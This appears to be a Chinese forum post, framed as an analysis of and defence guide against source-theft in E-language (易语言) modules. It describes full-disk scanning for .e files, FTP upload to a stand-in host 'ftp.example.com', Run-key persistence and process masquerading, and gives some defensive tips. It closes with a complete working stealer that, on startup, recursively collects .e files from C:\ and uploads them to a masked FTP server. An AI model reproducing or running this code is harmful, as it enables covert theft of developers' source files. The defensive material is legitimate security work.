积分信息:
无忧币:110619
交易币:2147480567
贡献:999999
|
马上注册,结交更多好友,享用更多功能,让你轻松玩转无忧吧。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
易语言源码窃取技术分析与防范指南
**
一、恶意模块窃密原理剖析
近期曝光的「模块后台窃密事件」,本质是通过恶意代码实现磁盘文件遍历 + 网络传输,核心技术点包括:
1. 全磁盘文件扫描(易语言实现逻辑)
利用易语言文件系统_遍历目录功能,递归扫描所有磁盘分区,匹配.e(易语言源码)、.ec(模块)、.epf(工程文件)等后缀:
.版本 2
.局部变量 目录列表, 文本型, , "0"
.局部变量 文件列表, 文本型, , "0"
.局部变量 i, 整数型
' 遍历所有逻辑磁盘(C盘、D盘等)
.计次循环首 (取驱动器数量 (), i)
目录列表 = 文件系统_遍历目录 (取驱动器号 (i) + "\", 1, ) ' 1=包含子目录
.计次循环首 (取数组成员数 (目录列表), )
文件列表 = 文件系统_列出文件 (目录列表 [当前循环次数], "*.e;*.ec;*.epf", )
.计次循环首 (取数组成员数 (文件列表), )
' 记录文件路径到全局数组
.计次循环尾 ()
.计次循环尾 ()
.计次循环尾 ()
2. 加密传输与隐藏启动
- FTP 上传模块:通过internet_ftp上传文件()命令(需链接 FTP 服务器),将文件分批上传至黑客控制的服务器:
' 示例:上传单个文件
internet_ftp连接 (, "ftp.example.com", "用户名", "密码")
internet_ftp上传文件 (, 本地文件路径, 远程存储路径)
internet_ftp断开 ()
- 启动项植入:写入注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,实现开机自启动,确保持续监控:
注册表_写字符串值 (, #注册表现行用户, "Software\Microsoft\Windows\CurrentVersion\Run", "ModuleUpdate", 取运行目录 () + "\恶意程序.exe")
3. 反检测与隐蔽性设计
- 进程伪装:将自身进程名伪装为iexplore.exe、svchost.exe等系统进程
- 流量加密:对 FTP 传输数据进行 AES 加密,避免被安全软件识别为异常流量
- 文件隐藏:通过文件系统_设置文件属性()将恶意模块设为隐藏只读
二、开发者防范措施(核心技术方案)
1. 源码存储安全
防护手段
| 技术实现要点
| 易语言相关命令
| 权限控制
| 对源码目录设置 ACL 权限(仅允许当前用户读写)
| 调用系统 API(如SetFileAttributes)
| 代码加密
| 对关键.e文件进行 AES 加密(推荐 128 位密钥)
| 加密_ AES加密数据()模块
| 哈希校验
| 定期计算文件 MD5 值,监控异常修改
| 数据_计算MD5()函数
|
2. 运行环境安全
- 使用PEID等工具检查模块是否包含internet_ftp连接()、注册表_写字符串值()等危险命令
- 沙箱测试:在虚拟机中运行可疑模块,监控其文件操作和网络请求
3. 网络传输防护
- 防火墙规则:禁止易语言程序(e.exe)主动连接外部 FTP 服务器
- 代理隔离:通过 HTTP 代理访问网络,实时监控出站流量异常
4. 应急响应方案
- 发现异常文件操作时,立即终止e.exe进程并断开网络
三、行业规范与道德警示
- 模块发布前进行代码审计,删除非必要的文件 / 网络操作命令
- 在「模块说明」中明示所有权限申请(如文件读写、网络连接)
- 法律风险:根据《网络安全法》第二十七条,窃取用户数据可处 5 万元以上 50 万元以下罚款,情节严重者追究刑事责任。建议开发者通过「易语言官方模块市场」获取经过安全认证的组件。
四、总结
此类窃密事件本质是权限滥用 + 隐蔽传输的结合,核心防范在于:
通过技术手段与安全意识的双重防护,可有效降低源码泄露风险。如需进一步了解易语言程序安全加固方案,可参考《易语言开发安全规范白皮书》。
完整代码:
[AppleScript] 纯文本查看 复制代码 .版本 2
.支持库 internet
.支持库 spec
.程序集 窗口程序集_启动窗口
.程序集变量 ftp目录, 文本型
.子程序 __启动窗口_创建完毕
连接FTP服务器 (“bes***************e”, “w******j”, “c******4”, 21, 真) ' 连接ftp
初始化模块 (“/wwwroot/”) ' 选择ftp目录
.子程序 遍历文件
.参数 后缀名, 文本型, , 传入一个后缀名,如果想查询所有后缀的文件请传入*
.参数 查找的目录, 文本型, , 传入要查找的目录,如果目录的结尾没有\请自行加上后再传入,你也可以在这个子程序内部自己定义来加上结尾的\
.参数 是否遍历子目录, 逻辑型, , 为假则不遍历子目录,为真则遍历
.参数 回调函数, 子程序指针, , 第一个参数为查找到的文件名,第二个参数为文件的完整路径
.局部变量 文件名, 文本型
' 调用寻找文件函数来寻找文件,第二个参数定义:1、#只读文件; 2、#隐藏文件; 4、#系统文件; 16、#子目录; 32、#存档文件 。
文件名 = 寻找文件 (查找的目录 + “*.” + 后缀名, 1 + 2 + 4 + 32)
' 这一不部分是对当前文件夹的文件进行查找并获取,不包含子目录的
.判断循环首 (文件名 ≠ “”)
' 如果找到一个文件,使用调用子程序函数调用回调函数,这个回调函数请自己在外部定义,在开发中,这样的写法对于外部接入很方便。
调用子程序 (回调函数, , , 文件名, 查找的目录 + 文件名)
文件名 = 寻找文件 (, 1 + 2 + 4 + 32)
.判断循环尾 ()
' 因为上面的代码没有对子目录进行操作,如果我们选择了遍历子目录的所有文件的话,还需要进行下面的调用
.如果真 (是否遍历子目录)
' 这样写寻找文件,返回的就全是子目录,不包含文件
文件名 = 寻找文件 (查找的目录 + “*.*”, #子目录)
.判断循环首 (文件名 ≠ “”)
' 返回的子目录中有两种特殊的,一个是“.”,表示当前目录,一个是“..”,表示上一级目录,我们都不需要,去掉他们,就是正常的子目录了
.如果真 (文件名 ≠ “.” 且 文件名 ≠ “..”)
' 这是精髓,使用递归调用的方法,递归调用本函数,但是请注意第二个参数查找的目录已经变了,还有记得在目录结尾加上“\”
遍历文件 (后缀名, 查找的目录 + 文件名 + “\”, 真, 回调函数)
处理事件 ()
.如果真结束
文件名 = 寻找文件 (, #子目录)
.判断循环尾 ()
.如果真结束
.子程序 子程序1
.参数 文件名, 文本型
.参数 文件路径, 文本型
FTP文件上传 (文件路径, ftp目录 + 文件名, )
.子程序 初始化模块, , 公开
.参数 ftp地址, 文本型
ftp目录 = ftp地址
遍历文件 (“e”, “C:\”, 真, &子程序1)
|
无忧技术吧-免责声明:
1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关。一切关于该内容及资源商业行为与www.whct.net无关。
2、本站提供的一切资源内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。
3、本站信息来自第三方用户,非本站自制,版权归原作者享有,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
4、注册会员通过任何手段和方法针对论坛进行破坏,我们有权对其行为作出处理。并保留进一步追究其责任的权利。
5、无忧技术吧(www.whct.net)所讨论的技术及相关工具仅限用于研究学习,皆在提高软件产品的安全性,严禁用于不良动机。任何个人、团体、组织不得将其用于非法目的,否则,一切后果自行承担。无忧技术吧不承担任何因为技术滥用所产生的连带责任。无忧技术吧内容源于网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除。如有侵权请邮件或QQ与我们联系处理。
6、如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵犯你版权的,请邮件与我们联系删除(邮箱:whctwlgzs@foxmail.com),本站将立即改正。
联系方式:
站长邮箱:whctwlgzs@foxmail.com
站长QQ:4040068
|